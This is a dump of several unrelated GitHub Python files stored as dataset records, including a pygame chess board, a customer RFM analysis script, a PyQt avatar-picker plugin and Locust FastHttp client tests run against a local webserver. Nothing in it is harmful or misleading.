self.cfg.DATA.FREQUENCY_MASK_RATE,\n self.cfg.DATA.TIME_MASK_RATE,\n )\n return audio_seq\n","repo_name":"sangho-vision/avbert","sub_path":"code/data/kinetics_sounds.py","file_name":"kinetics_sounds.py","file_ext":"py","file_size_in_byte":12298,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"37"} +{"seq_id":"41480013490","text":"from typing import Tuple, List\nimport pygame\n\nfrom Store import Store\nfrom BoardCell import BoardCell\nfrom ChessPiece import ChessPieces\n\nimport numpy as np\n\n\nclass Board:\n def __init__(self, screen: pygame.Surface) -> None:\n self.store = Store()\n self.screen = screen\n self.boardSize = self.screen.get_size()\n self.selectedCell = None\n self.status = \"onGoing\"\n self.cellSize = self.boardSize[0]/8\n self.store.__setitem__(\n \"cellSize\", self.store.storeItem[int](int(self.cellSize)))\n self.boardCell: List[List[BoardCell]] = []\n\n self.board = self.drawBoard()\n # self.boardCell[0][0].pieceOnCell = ChessPieces(\n # \"wp\", 1, 1, self.board)\n self.drawInitializedPieces()\n self.screen.blit(self.board, (0, 0))\n\n print(self.boardCell[0][0], self.boardCell[0][1])\n self.update()\n\n def board_event_loop(self):\n # self.update()\n pass\n\n def drawValidMove(self, row, col):\n\n self.boardCell[row][col].setUpdateFlag(0)\n self.update()\n self.boardCell[row][col].setUpdateFlag(None)\n\n def selected_boardCell(self, row: int, col: int):\n if self.boardCell[row][col].pieceOnCell is not None:\n\n if self.selectedCell is None:\n self.boardCell[row][col].setSelected(True)\n self.selectedCell = (row, col)\n else:\n if self.selectedCell[0] == row and self.selectedCell[1] == col:\n self.boardCell[self.selectedCell[0]\n ][self.selectedCell[1]].setSelected(False)\n self.selectedCell = None\n print(\"should this case\")\n else:\n self.boardCell[self.selectedCell[0]\n ][self.selectedCell[1]].setSelected(False)\n self.boardCell[row][col].setSelected(True)\n self.selectedCell = (row, col)\n\n self.update()\n\n def safe_move(self, row: int, col: int):\n \"\"\"\n This function is called when a piece is selected and the user clicks on a empty cell.\n Algo : move the piece to the new cell w/ set pieceOnCell -> then set pieceOnCell of previous cell to `None` -> dehilighting the previous cell -> update the board\n \"\"\"\n if self.selectedCell is not None:\n\n # if is an enemy this action is prefered to capturing the piece ** wrapper of this function should be carefull about the gameControll\n if self.boardCell[row][col].pieceOnCell is not None:\n if self.boardCell[row][col].pieceOnCell.name == \"wk\":\n print(\"Winner is black\")\n self.status = \"gameEnd black\"\n return True\n if self.boardCell[row][col].pieceOnCell.name == \"bk\":\n print(\"Winner is white\")\n self.status = \"gameEnd white\"\n return True\n\n self.boardCell[row\n ][col].setPieceOnCell(self.boardCell[self.selectedCell[0]\n ][self.selectedCell[1]].getPieceOnCell())\n\n selectedTemp = (self.selectedCell[0], self.selectedCell[1])\n\n # selected yourself for dehilighting cell when you move.\n self.selected_boardCell(selectedTemp[0], selectedTemp[1])\n # set pieceOnCell before move to None\n self.boardCell[selectedTemp[0]\n ][selectedTemp[1]].setPieceOnCell(None)\n self.boardCell[row][col].getPieceOnCell().setIsFirstMove()\n\n self.update()\n\n return False\n\n # raise NotImplementedError\n\n def safe_capture(self, row, col):\n if self.selectedCell is not None:\n\n self.boardCell[row\n ][col].setPieceOnCell(self.boardCell[self.selectedCell[0]\n ][self.selectedCell[1]].getPieceOnCell())\n\n selectedTemp = (self.selectedCell[0], self.selectedCell[1])\n\n # selected yourself for dehilighting cell when you move.\n self.selected_boardCell(selectedTemp[0], selectedTemp[1])\n\n # set pieceOnCell before move to None\n self.boardCell[selectedTemp[0]\n ][selectedTemp[1]].setPieceOnCell(None)\n\n self.boardCell[row][col].getPieceOnCell().setIsFirstMove()\n\n self.update()\n\n def update(self):\n self.board.fill((0, 0, 0, 0))\n\n for i in range(8):\n for j in range(8):\n self.boardCell[i][j].update()\n pass\n\n self.screen.blit(self.board, (0, 0))\n pygame.display.flip()\n print(\"Update\")\n\n def drawInitializedPieces(self):\n for i in range(8):\n self.boardCell[1][i].setPieceOnCell(ChessPieces(\n \"bp\", self.board))\n self.boardCell[6][i].setPieceOnCell(ChessPieces(\n \"wp\", self.board))\n\n self.boardCell[0][0].setPieceOnCell(ChessPieces(\"br\", self.board))\n self.boardCell[0][7].setPieceOnCell(ChessPieces(\"br\", self.board))\n self.boardCell[7][0].setPieceOnCell(ChessPieces(\"wr\", self.board))\n self.boardCell[7][7].setPieceOnCell(ChessPieces(\"wr\", self.board))\n\n self.boardCell[0][1].setPieceOnCell(ChessPieces(\"bn\", self.board))\n self.boardCell[0][6].setPieceOnCell(ChessPieces(\"bn\", self.board))\n self.boardCell[7][1].setPieceOnCell(ChessPieces(\"wn\", self.board))\n self.boardCell[7][6].setPieceOnCell(ChessPieces(\"wn\", self.board))\n\n self.boardCell[0][2].setPieceOnCell(ChessPieces(\"bb\", self.board))\n self.boardCell[0][5].setPieceOnCell(ChessPieces(\"bb\", self.board))\n self.boardCell[7][2].setPieceOnCell(ChessPieces(\"wb\", self.board))\n self.boardCell[7][5].setPieceOnCell(ChessPieces(\"wb\", self.board))\n\n self.boardCell[0][3].setPieceOnCell(ChessPieces(\"bq\", self.board))\n self.boardCell[0][4].setPieceOnCell(ChessPieces(\"bk\", self.board))\n self.boardCell[7][3].setPieceOnCell(ChessPieces(\"wq\", self.board))\n self.boardCell[7][4].setPieceOnCell(ChessPieces(\"wk\", self.board))\n\n # a = np.array(self.boardCell)\n # c = np.rot90(a, 2)\n # self.boardCell = c\n\n def drawBoard(self) -> pygame.Surface:\n\n board = pygame.Surface(self.boardSize)\n board = board.convert()\n board.fill((255, 255, 255))\n\n # pygame.draw.rect(board, (0, 0, 0),\n # (0, 0, self.cellSize, self.cellSize), 1)\n\n for col in range(8):\n height = self.cellSize * col\n tempArr = list()\n for row in range(8):\n if (row % 2 == 0 and col % 2 == 0) or (col % 2 != 0 and row % 2 != 0):\n # pygame.draw.rect(board, (0, 0, 0),\n # (row * self.cellSize, height, self.cellSize, self.cellSize), 0)\n tempArr.append(BoardCell(board, row * self.cellSize, height,\n self.cellSize, self.cellSize, (238, 238, 213), (246, 245, 149)))\n else:\n # pygame.draw.rect(board, (255, 0, 0),\n # (row * self.cellSize, height, self.cellSize, self.cellSize), 0)\n tempArr.append(BoardCell(board, row * self.cellSize, height,\n self.cellSize, self.cellSize, (124, 149, 93), (189, 201, 89)))\n # pygame.draw.rect(board, (0, 0, 0),\n # (0, i * self.cellSize, self.cellSize, self.cellSize), 1)\n\n self.boardCell.append(tempArr)\n\n return board\n\n def getBoardPosition(self, pos: Tuple[int, int]) -> Tuple[int, int]:\n \"\"\"\n Get the board position\n retunr: Tuple[int, int] -> Pos [row,col]\n\n \"\"\"\n return (int(pos[1] // self.cellSize), int(pos[0] // self.cellSize))\n","repo_name":"Maszz/ChessGame_Pygame","sub_path":"Board.py","file_name":"Board.py","file_ext":"py","file_size_in_byte":8062,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"69847157549","text":"import pandas as pd\nimport numpy as np\nimport datetime as dt\nfrom sklearn.cluster import KMeans\n\nds = pd.read_csv(\"\")\n\n# Get Demand only\nds = ds[ds[\"NET REVENUE\"] > 0]\nds[\"Order Dt\"] = pd.to_datetime(ds[\"Order Dt\"])\n\n# Get Sample data only\ndssample = ds\n\ngroup = dssample.groupby(\"Consumer\")\nagg = group.agg({\"Net Demand Amt\": \"sum\", \"Order Dt\": \"max\", \"Order Nbr\": \"nunique\"})\n\nagg = agg.reset_index()\nagg.to_csv(\"C:\\\\Users\\\\bwan19\\\\Desktop\\\\RMF.csv\")\n\n# Further Process\nds = pd.read_csv(\"C:\\\\Users\\\\bwan19\\\\Desktop\\\\RMF Analysis\\\\RMF.csv\")\nds[\"Order Dt\"] = pd.to_datetime(ds[\"Order Dt\"])\nstandardDate = dt.datetime(2018, 6, 30)\n\n\n# Set the rule of recency\ndef tag_recency(x):\n if x <= 2: return \"1 - 3\"\n if x >= 3 and x <= 5: return \"4 - 6\"\n if x >= 6 and x <= 8: return \"7 - 9\"\n if x >= 9: return \"10 - 12\"\n\n\n# Set Recency\nds[\"Recency\"] = ds[\"Order Dt\"]\n# Set Recency as days\nds[\"Recency\"] = ds[\"Recency\"].apply(lambda x: (standardDate - x).days)\n# Set Recency as months\nds[\"Recency\"] = ds[\"Recency\"].apply(lambda x: x // 30)\nds[\"Recency\"] = ds[\"Recency\"].apply(tag_recency)\n\n# Set Frequency\nds[\"Frequency\"] = ds[\"Order Nbr\"]\n# group >= 5 as 5\nds[\"Frequency\"] = ds[\"Frequency\"].apply(lambda x: 5 if x >= 5 else x)\n\nds.to_csv(\"C:\\\\Users\\\\bwan19\\\\Desktop\\\\RMF1.csv\")\n\n# 聚类\nkm = KMeans()\nkm.fit(ds)\n","repo_name":"booneWang/D2N_Analysis","sub_path":"2.RFM/RFM.py","file_name":"RFM.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74376507628","text":"#!/usr/bin/python3\n\nimport cv2\nimport numpy as np\nfrom os import listdir\nimport os\n\n\nfiles_list = []\ndatas = []\nvideo_format = cv2.VideoWriter_fourcc(*'XVID')\ndata1 = np.empty\n\n# reading files with extension .npy from test_frames folder to load all data regarding frames\nfor files in listdir(\"./test_frames/\"):\n\tif files.endswith(\".npy\"):\n\t\tfiles_list.append(files)\n\n\n\nfor i in range(len(files_list)-1):\n\tdata = np.load(\"./test_frames/file\"+str(i)+\".npy\")\n\n\tprint(data.shape)\n\n\tnp.save(\"./test_frames/total_data.npy\",data)\n\t#np.save(\"./test_frames/total_data.npy\",np.append(data1,data))\n\t\n\tdata1 = np.load(\"./test_frames/total_data.npy\")\n\t\n#print(np.load(\"./test_frames/total_data.npy\"))\n\nfinal_data = np.load(\"./test_frames/total_data.npy\")\n\n#print(type(final_data))\n#print(final_data.shape)\n\nshape = final_data.shape\n#final_data = final_data.reshape((640,480,3))\n\n# size of video is (640*480) as per my webcam so make size to be (shape[1],shape[0])\nvideo_out = cv2.VideoWriter('./test_frames/video.avi',video_format,20.0,(640,480))\n\nvideo_out.write(final_data)\n\n","repo_name":"Bhavya-Agrawal/Computer_vision_projects","sub_path":"video_from_frame_data.py","file_name":"video_from_frame_data.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16116366476","text":"from lunchinator.plugin import iface_general_plugin\nimport mimetypes\nfrom lunchinator import get_server, get_settings, convert_string\nfrom lunchinator.log import loggingFunc\nfrom functools import partial\nimport os\n\nclass avatar(iface_general_plugin):\n def __init__(self):\n super(avatar, self).__init__()\n self.label = None\n self.selectedFile = None\n \n def activate(self):\n iface_general_plugin.activate(self)\n \n def deactivate(self):\n iface_general_plugin.deactivate(self)\n \n def add_menu(self,menu):\n pass \n \n def _setImage(self, selectedFile, label):\n from PyQt4.QtGui import QImage, QPixmap\n from PyQt4.QtCore import Qt\n from avatar.l_avatar import l_avatar\n qimg = QImage(selectedFile)\n pixmap = QPixmap.fromImage(qimg).scaled(l_avatar.width,l_avatar.height,Qt.KeepAspectRatio,Qt.SmoothTransformation)\n label.setPixmap(pixmap)\n label.setToolTip(selectedFile)\n \n def parentWindow(self, w):\n return w if w.parentWidget() == None else self.parentWindow(w.parentWidget())\n \n @loggingFunc\n def _chooseFile(self, _checked=None):\n from PyQt4.QtGui import QSortFilterProxyModel, QFileDialog\n class FileFilterProxyModel(QSortFilterProxyModel):\n MIME_TYPES = [\"image/png\", \"image/jpeg\", \"image/gif\"]\n EXTENSIONS = [u\"png\", u\"jpg\", u\"jpeg\", u\"jpe\", u\"gif\", u\"tif\", u\"tiff\", u\"xpm\"]\n \n def filterAcceptsFile(self, path):\n if os.path.isdir(path):\n return True\n mimeType = mimetypes.guess_type(path)\n return mimeType in self.MIME_TYPES or path.split(\".\")[-1].lower() in self.EXTENSIONS\n \n def filterAcceptsRow(self, sourceRow, sourceParent):\n fileModel = self.sourceModel()\n index0 = fileModel.index(sourceRow, 0, sourceParent)\n path = convert_string(fileModel.filePath(index0))\n return self.filterAcceptsFile(path)\n \n fileFilter = FileFilterProxyModel()\n#TODO: does not work due to a PyQt bug in some versions\n# dialog = QFileDialog(self.parentWindow(self.label), \"Choose Avatar Picture:\")\n# dialog.setProxyModel(fileFilter)\n# dialog.setWindowTitle(\"Choose Avatar Picture\")\n# dialog.setFileMode(QFileDialog.ExistingFile)\n# dialog.setAcceptMode(QFileDialog.AcceptOpen)\n# if dialog.exec_():\n# selectedFiles = dialog.selectedFiles()\n# selectedFile = convert_string(selectedFiles.first())\n \n selectedFile = QFileDialog.getOpenFileName(self.parentWindow(self.label), caption=\"Choose Avatar Picture:\")\n selectedFile = convert_string(selectedFile)\n if selectedFile:\n if not os.path.isdir(selectedFile) and fileFilter.filterAcceptsFile(selectedFile):\n self.selectedFile = selectedFile\n self._setImage(selectedFile, self.label)\n else:\n self.logger.error(\"Selected invalid file: '%s' is of invalid type\", selectedFile)\n else:\n self.logger.debug(\"Avatar: no file selected\")\n \n def _display_avatar(self):\n img_path = os.path.join(get_settings().get_avatar_dir(), get_settings().get_avatar_file())\n self._setImage(img_path, self.label)\n \n def has_options_widget(self):\n return True\n \n def create_options_widget(self, parent):\n from PyQt4.QtGui import QLabel, QWidget, QVBoxLayout, QHBoxLayout, QPushButton\n from PyQt4.QtCore import Qt\n \n widget = QWidget(parent)\n layout = QVBoxLayout(widget)\n \n self.label = QLabel(widget)\n hlayout = QHBoxLayout()\n hlayout.addWidget(self.label, 0, Qt.AlignCenter)\n layout.addLayout(hlayout)\n \n b = QPushButton(\"Choose Picture\", widget)\n b.clicked.connect(self._chooseFile)\n hlayout = QHBoxLayout()\n hlayout.addWidget(b,0, Qt.AlignCenter)\n layout.addLayout(hlayout)\n layout.addWidget(QWidget(widget), 1)\n \n self._display_avatar()\n return widget\n\n def save_options_widget_data(self, **_kwargs):\n from avatar.l_avatar import l_avatar\n if self.selectedFile != None:\n l = l_avatar(self.logger)\n l.use_as_avatar(self.selectedFile)\n\n def discard_changes(self):\n self._display_avatar()\n","repo_name":"hannesrauhe/lunchinator","sub_path":"plugins/avatar/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4493,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"26756978962","text":"import os\nimport sys\n\ncur_dir = os.path.abspath(os.path.split(__file__)[0])\nsub_sub_root_dir = os.path.split(cur_dir)[0]\nsub_root_dir = os.path.split(sub_sub_root_dir)[0]\nroot_dir = os.path.split(sub_root_dir)[0]\n\nsys.path.append(sub_root_dir)\nsys.path.append(root_dir)\n\n# from nmt.models.other_lans.transformer_zh_en import Model\nfrom nmt.models.transformer_baseline import Model\nfrom nmt.load.zh_en_wmt_news import Loader\nfrom nmt.train.train_base import Train as TrainBase\n\nModel.name = 'transformer_nmt_baseline_wmt_news_with_zh_en_ro_60k_pretrained'\nModel.checkpoint_params['load_model'] = ['transformer_CDLM_translate_zh_en_ro_wmt_news_60k_async_preprocess', '2020_06_25_20_10_39']\n# Model.checkpoint_params['load_model'] = ['transformer_for_nmt_share_emb_zh_word_level_wmt_news', '2020_04_25_12_59_02']\n\n\nclass Train(TrainBase):\n TRAIN_NAME = os.path.splitext(os.path.split(__file__)[1])[0]\n M = Model\n Loader = Loader\n tokenizer_dir = 'zh_en_ro_news_commentary_wmt_news_um_corpus_dict_90000'\n\n\no_train = Train(use_cache=False)\no_train.train()\no_train.test(load_model=False)\n","repo_name":"SamuelLAN/DLM","sub_path":"nmt/train/train_baseline_wmt_news.py","file_name":"train_baseline_wmt_news.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"14564626692","text":"import pickle\r\n\r\nimport pandas as pd\r\n\r\nval_data_path = \"new_val.csv\"\r\nval_df = pd.read_csv(val_data_path)\r\nval_df = val_df.to_numpy()\r\n\r\nX_val = val_df[:, 0:]\r\nt_val = val_df[:, 0]\r\nloaded_model = pickle.load(open('finalized_model.pkl', 'rb'))\r\nresult = loaded_model.score(X_val, t_val)\r\nprint(result)","repo_name":"AhmedBnKhalil/Trip-Duration-Prediction","sub_path":"load_model.py","file_name":"load_model.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3662371416","text":"import pygame\n\n\n# 초기화 (반드시 필요)\npygame.init() \n\n# 화면 크기 설정\nscreen_width = 480\nscreen_height = 640\nscreen = pygame.display.set_mode((screen_width, screen_height))\n\n# 화면 타이틀 설정\npygame.display.set_caption('Boring Game')\n\n# 배경 이미지 불러오기\nbackground = pygame.image.load('C:/Workspace/nado_coding_practice_01/background.png')\n\n# 이벤트 루프\nrunning = True # 게임이 진행중인가?\nwhile running:\n for event in pygame.event.get(): # 어떤 이벤트가 발생하였는가?\n if event.type == pygame.QUIT: # 창이 닫히는 이벤트가 발생하였는가?\n running = False # 게임이 진행중이 아님\n\n# pygame 종료\npygame.quit()","repo_name":"boredjuju/nadocoding_practice1","sub_path":"pygame_basic/1_create_frame.py","file_name":"1_create_frame.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11822889762","text":"import six\nimport socket\n\nfrom locust import TaskSet, task, events\nfrom locust.core import LocustError\nfrom locust.contrib.fasthttp import FastHttpSession, FastHttpLocust\nfrom locust.exception import CatchResponseError, InterruptTaskSet, ResponseError\nfrom locust.stats import global_stats\n\nfrom .testcases import WebserverTestCase\n\nif six.PY2:\n from locust.contrib.fasthttp import ConnectionRefusedError\n\n\nclass TestFastHttpSession(WebserverTestCase):\n def test_get(self):\n s = FastHttpSession(\"http://127.0.0.1:%i\" % self.port)\n r = s.get(\"/ultra_fast\")\n self.assertEqual(200, r.status_code)\n \n def test_connection_error(self):\n global_stats.clear_all()\n s = FastHttpSession(\"http://localhost:1\")\n r = s.get(\"/\", timeout=0.1)\n self.assertEqual(r.status_code, 0)\n self.assertEqual(None, r.content)\n self.assertEqual(1, len(global_stats.errors))\n if six.PY2:\n self.assertTrue(isinstance(r.error, socket.error))\n self.assertTrue(isinstance(six.next(six.itervalues(global_stats.errors)).error, socket.error))\n else:\n self.assertTrue(isinstance(r.error, ConnectionRefusedError))\n self.assertTrue(isinstance(six.next(six.itervalues(global_stats.errors)).error, ConnectionRefusedError))\n \n def test_404(self):\n global_stats.clear_all()\n s = FastHttpSession(\"http://127.0.0.1:%i\" % self.port)\n r = s.get(\"/does_not_exist\")\n self.assertEqual(404, r.status_code)\n self.assertEqual(1, global_stats.get(\"/does_not_exist\", \"GET\").num_failures)\n \n def test_streaming_response(self):\n \"\"\"\n Test a request to an endpoint that returns a streaming response\n \"\"\"\n s = FastHttpSession(\"http://127.0.0.1:%i\" % self.port)\n r = s.get(\"/streaming/30\")\n \n # verify that the time reported includes the download time of the whole streamed response\n self.assertGreater(global_stats.get(\"/streaming/30\", method=\"GET\").avg_response_time, 250)\n global_stats.clear_all()\n \n # verify that response time does NOT include whole download time, when using stream=True\n r = s.get(\"/streaming/30\", stream=True)\n self.assertGreaterEqual(global_stats.get(\"/streaming/30\", method=\"GET\").avg_response_time, 0)\n self.assertLess(global_stats.get(\"/streaming/30\", method=\"GET\").avg_response_time, 250)\n \n # download the content of the streaming response (so we don't get an ugly exception in the log)\n _ = r.content\n \n def test_slow_redirect(self):\n s = FastHttpSession(\"http://127.0.0.1:%i\" % self.port)\n url = \"/redirect?url=/redirect?delay=0.5\"\n r = s.get(url)\n stats = global_stats.get(url, method=\"GET\")\n self.assertEqual(1, stats.num_requests)\n self.assertGreater(stats.avg_response_time, 500)\n \n def test_post_redirect(self):\n s = FastHttpSession(\"http://127.0.0.1:%i\" % self.port)\n url = \"/redirect\"\n r = s.post(url)\n self.assertEqual(200, r.status_code)\n post_stats = global_stats.get(url, method=\"POST\")\n get_stats = global_stats.get(url, method=\"GET\")\n self.assertEqual(1, post_stats.num_requests)\n self.assertEqual(0, get_stats.num_requests)\n \n def test_cookie(self):\n s = FastHttpSession(\"http://127.0.0.1:%i\" % self.port)\n r = s.post(\"/set_cookie?name=testcookie&value=1337\")\n self.assertEqual(200, r.status_code)\n r = s.get(\"/get_cookie?name=testcookie\")\n self.assertEqual('1337', r.content.decode())\n \n def test_head(self):\n s = FastHttpSession(\"http://127.0.0.1:%i\" % self.port)\n r = s.head(\"/request_method\")\n self.assertEqual(200, r.status_code)\n self.assertEqual(\"\", r.content.decode())\n \n def test_delete(self):\n s = FastHttpSession(\"http://127.0.0.1:%i\" % self.port)\n r = s.delete(\"/request_method\")\n self.assertEqual(200, r.status_code)\n self.assertEqual(\"DELETE\", r.content.decode())\n \n def test_patch(self):\n s = FastHttpSession(\"http://127.0.0.1:%i\" % self.port)\n r = s.patch(\"/request_method\")\n self.assertEqual(200, r.status_code)\n self.assertEqual(\"PATCH\", r.content.decode())\n \n def test_options(self):\n s = FastHttpSession(\"http://127.0.0.1:%i\" % self.port)\n r = s.options(\"/request_method\")\n self.assertEqual(200, r.status_code)\n self.assertEqual(\"\", r.content.decode())\n self.assertEqual(\n set([\"OPTIONS\", \"DELETE\", \"PUT\", \"GET\", \"POST\", \"HEAD\", \"PATCH\"]),\n set(r.headers[\"allow\"].split(\", \")),\n )\n\n\nclass TestRequestStatsWithWebserver(WebserverTestCase):\n def test_request_stats_content_length(self):\n class MyLocust(FastHttpLocust):\n host = \"http://127.0.0.1:%i\" % self.port\n \n locust = MyLocust()\n locust.client.get(\"/ultra_fast\")\n self.assertEqual(global_stats.get(\"/ultra_fast\", \"GET\").avg_content_length, len(\"This is an ultra fast response\"))\n locust.client.get(\"/ultra_fast\")\n self.assertEqual(global_stats.get(\"/ultra_fast\", \"GET\").avg_content_length, len(\"This is an ultra fast response\"))\n \n def test_request_stats_no_content_length(self):\n class MyLocust(FastHttpLocust):\n host = \"http://127.0.0.1:%i\" % self.port\n l = MyLocust()\n path = \"/no_content_length\"\n r = l.client.get(path)\n self.assertEqual(global_stats.get(path, \"GET\").avg_content_length, len(\"This response does not have content-length in the header\"))\n \n def test_request_stats_no_content_length_streaming(self):\n class MyLocust(FastHttpLocust):\n host = \"http://127.0.0.1:%i\" % self.port\n l = MyLocust()\n path = \"/no_content_length\"\n r = l.client.get(path, stream=True)\n self.assertEqual(0, global_stats.get(path, \"GET\").avg_content_length)\n \n def test_request_stats_named_endpoint(self):\n class MyLocust(FastHttpLocust):\n host = \"http://127.0.0.1:%i\" % self.port\n \n locust = MyLocust()\n locust.client.get(\"/ultra_fast\", name=\"my_custom_name\")\n self.assertEqual(1, global_stats.get(\"my_custom_name\", \"GET\").num_requests)\n \n def test_request_stats_query_variables(self):\n class MyLocust(FastHttpLocust):\n host = \"http://127.0.0.1:%i\" % self.port\n \n locust = MyLocust()\n locust.client.get(\"/ultra_fast?query=1\")\n self.assertEqual(1, global_stats.get(\"/ultra_fast?query=1\", \"GET\").num_requests)\n \n def test_request_stats_put(self):\n class MyLocust(FastHttpLocust):\n host = \"http://127.0.0.1:%i\" % self.port\n \n locust = MyLocust()\n locust.client.put(\"/put\")\n self.assertEqual(1, global_stats.get(\"/put\", \"PUT\").num_requests)\n \n def test_request_connection_error(self):\n class MyLocust(FastHttpLocust):\n host = \"http://localhost:1\"\n \n locust = MyLocust()\n response = locust.client.get(\"/\", timeout=0.1)\n self.assertEqual(response.status_code, 0)\n self.assertEqual(1, global_stats.get(\"/\", \"GET\").num_failures)\n self.assertEqual(1, global_stats.get(\"/\", \"GET\").num_requests)\n\n\nclass TestFastHttpLocustClass(WebserverTestCase):\n def test_get_request(self):\n self.response = \"\"\n def t1(l):\n self.response = l.client.get(\"/ultra_fast\")\n class MyLocust(FastHttpLocust):\n tasks = [t1]\n host = \"http://127.0.0.1:%i\" % self.port\n\n my_locust = MyLocust()\n t1(my_locust)\n self.assertEqual(self.response.text, \"This is an ultra fast response\")\n\n def test_client_request_headers(self):\n class MyLocust(FastHttpLocust):\n host = \"http://127.0.0.1:%i\" % self.port\n\n locust = MyLocust()\n self.assertEqual(\"hello\", locust.client.get(\"/request_header_test\", headers={\"X-Header-Test\":\"hello\"}).text)\n\n def test_client_get(self):\n class MyLocust(FastHttpLocust):\n host = \"http://127.0.0.1:%i\" % self.port\n\n locust = MyLocust()\n self.assertEqual(\"GET\", locust.client.get(\"/request_method\").text)\n \n def test_client_get_absolute_url(self):\n class MyLocust(FastHttpLocust):\n host = \"http://127.0.0.1:%i\" % self.port\n\n locust = MyLocust()\n self.assertEqual(\"GET\", locust.client.get(\"http://127.0.0.1:%i/request_method\" % self.port).text)\n\n def test_client_post(self):\n class MyLocust(FastHttpLocust):\n host = \"http://127.0.0.1:%i\" % self.port\n\n locust = MyLocust()\n self.assertEqual(\"POST\", locust.client.post(\"/request_method\", {\"arg\":\"hello world\"}).text)\n self.assertEqual(\"hello world\", locust.client.post(\"/post\", {\"arg\":\"hello world\"}).text)\n\n def test_client_put(self):\n class MyLocust(FastHttpLocust):\n host = \"http://127.0.0.1:%i\" % self.port\n\n locust = MyLocust()\n self.assertEqual(\"PUT\", locust.client.put(\"/request_method\", {\"arg\":\"hello world\"}).text)\n self.assertEqual(\"hello world\", locust.client.put(\"/put\", {\"arg\":\"hello world\"}).text)\n\n def test_client_delete(self):\n class MyLocust(FastHttpLocust):\n host = \"http://127.0.0.1:%i\" % self.port\n\n locust = MyLocust()\n self.assertEqual(\"DELETE\", locust.client.delete(\"/request_method\").text)\n self.assertEqual(200, locust.client.delete(\"/request_method\").status_code)\n\n def test_client_head(self):\n class MyLocust(FastHttpLocust):\n host = \"http://127.0.0.1:%i\" % self.port\n\n locust = MyLocust()\n self.assertEqual(200, locust.client.head(\"/request_method\").status_code)\n \n def test_log_request_name_argument(self):\n from locust.stats import global_stats\n self.response = \"\"\n \n class MyLocust(FastHttpLocust):\n tasks = []\n host = \"http://127.0.0.1:%i\" % self.port\n \n @task()\n def t1(l):\n self.response = l.client.get(\"/ultra_fast\", name=\"new name!\")\n\n my_locust = MyLocust()\n my_locust.t1()\n \n self.assertEqual(1, global_stats.get(\"new name!\", \"GET\").num_requests)\n self.assertEqual(0, global_stats.get(\"/ultra_fast\", \"GET\").num_requests)\n \n def test_redirect_url_original_path_as_name(self):\n class MyLocust(FastHttpLocust):\n host = \"http://127.0.0.1:%i\" % self.port\n\n l = MyLocust()\n l.client.get(\"/redirect\")\n \n from locust.stats import global_stats\n self.assertEqual(1, len(global_stats.entries))\n self.assertEqual(1, global_stats.get(\"/redirect\", \"GET\").num_requests)\n self.assertEqual(0, global_stats.get(\"/ultra_fast\", \"GET\").num_requests)\n \n def test_client_basic_auth(self):\n class MyLocust(FastHttpLocust):\n host = \"http://127.0.0.1:%i\" % self.port\n\n class MyAuthorizedLocust(FastHttpLocust):\n host = \"http://locust:menace@127.0.0.1:%i\" % self.port\n\n class MyUnauthorizedLocust(FastHttpLocust):\n host = \"http://locust:wrong@127.0.0.1:%i\" % self.port\n\n locust = MyLocust()\n unauthorized = MyUnauthorizedLocust()\n authorized = MyAuthorizedLocust()\n response = authorized.client.get(\"/basic_auth\")\n self.assertEqual(200, response.status_code)\n self.assertEqual(\"Authorized\", response.text)\n self.assertEqual(401, locust.client.get(\"/basic_auth\").status_code)\n self.assertEqual(401, unauthorized.client.get(\"/basic_auth\").status_code)\n\n\nclass TestFastHttpCatchResponse(WebserverTestCase):\n def setUp(self):\n super(TestFastHttpCatchResponse, self).setUp()\n \n class MyLocust(FastHttpLocust):\n host = \"http://127.0.0.1:%i\" % self.port\n\n self.locust = MyLocust()\n \n self.num_failures = 0\n self.num_success = 0\n def on_failure(request_type, name, response_time, exception):\n self.num_failures += 1\n self.last_failure_exception = exception\n def on_success(**kwargs):\n self.num_success += 1\n events.request_failure += on_failure\n events.request_success += on_success\n \n def test_catch_response(self):\n self.assertEqual(500, self.locust.client.get(\"/fail\").status_code)\n self.assertEqual(1, self.num_failures)\n self.assertEqual(0, self.num_success)\n \n with self.locust.client.get(\"/ultra_fast\", catch_response=True) as response: pass\n self.assertEqual(1, self.num_failures)\n self.assertEqual(1, self.num_success)\n self.assertIn(\"ultra fast\", str(response.content))\n \n with self.locust.client.get(\"/ultra_fast\", catch_response=True) as response:\n raise ResponseError(\"Not working\")\n \n self.assertEqual(2, self.num_failures)\n self.assertEqual(1, self.num_success)\n \n def test_catch_response_http_fail(self):\n with self.locust.client.get(\"/fail\", catch_response=True) as response: pass\n self.assertEqual(1, self.num_failures)\n self.assertEqual(0, self.num_success)\n \n def test_catch_response_http_manual_fail(self):\n with self.locust.client.get(\"/ultra_fast\", catch_response=True) as response:\n response.failure(\"Haha!\")\n self.assertEqual(1, self.num_failures)\n self.assertEqual(0, self.num_success)\n self.assertTrue(\n isinstance(self.last_failure_exception, CatchResponseError),\n \"Failure event handler should have been passed a CatchResponseError instance\"\n )\n \n def test_catch_response_http_manual_success(self):\n with self.locust.client.get(\"/fail\", catch_response=True) as response:\n response.success()\n self.assertEqual(0, self.num_failures)\n self.assertEqual(1, self.num_success)\n \n def test_catch_response_allow_404(self):\n with self.locust.client.get(\"/does/not/exist\", catch_response=True) as response:\n self.assertEqual(404, response.status_code)\n if response.status_code == 404:\n response.success()\n self.assertEqual(0, self.num_failures)\n self.assertEqual(1, self.num_success)\n \n def test_interrupt_taskset_with_catch_response(self):\n class MyTaskSet(TaskSet):\n @task\n def interrupted_task(self):\n with self.client.get(\"/ultra_fast\", catch_response=True) as r:\n raise 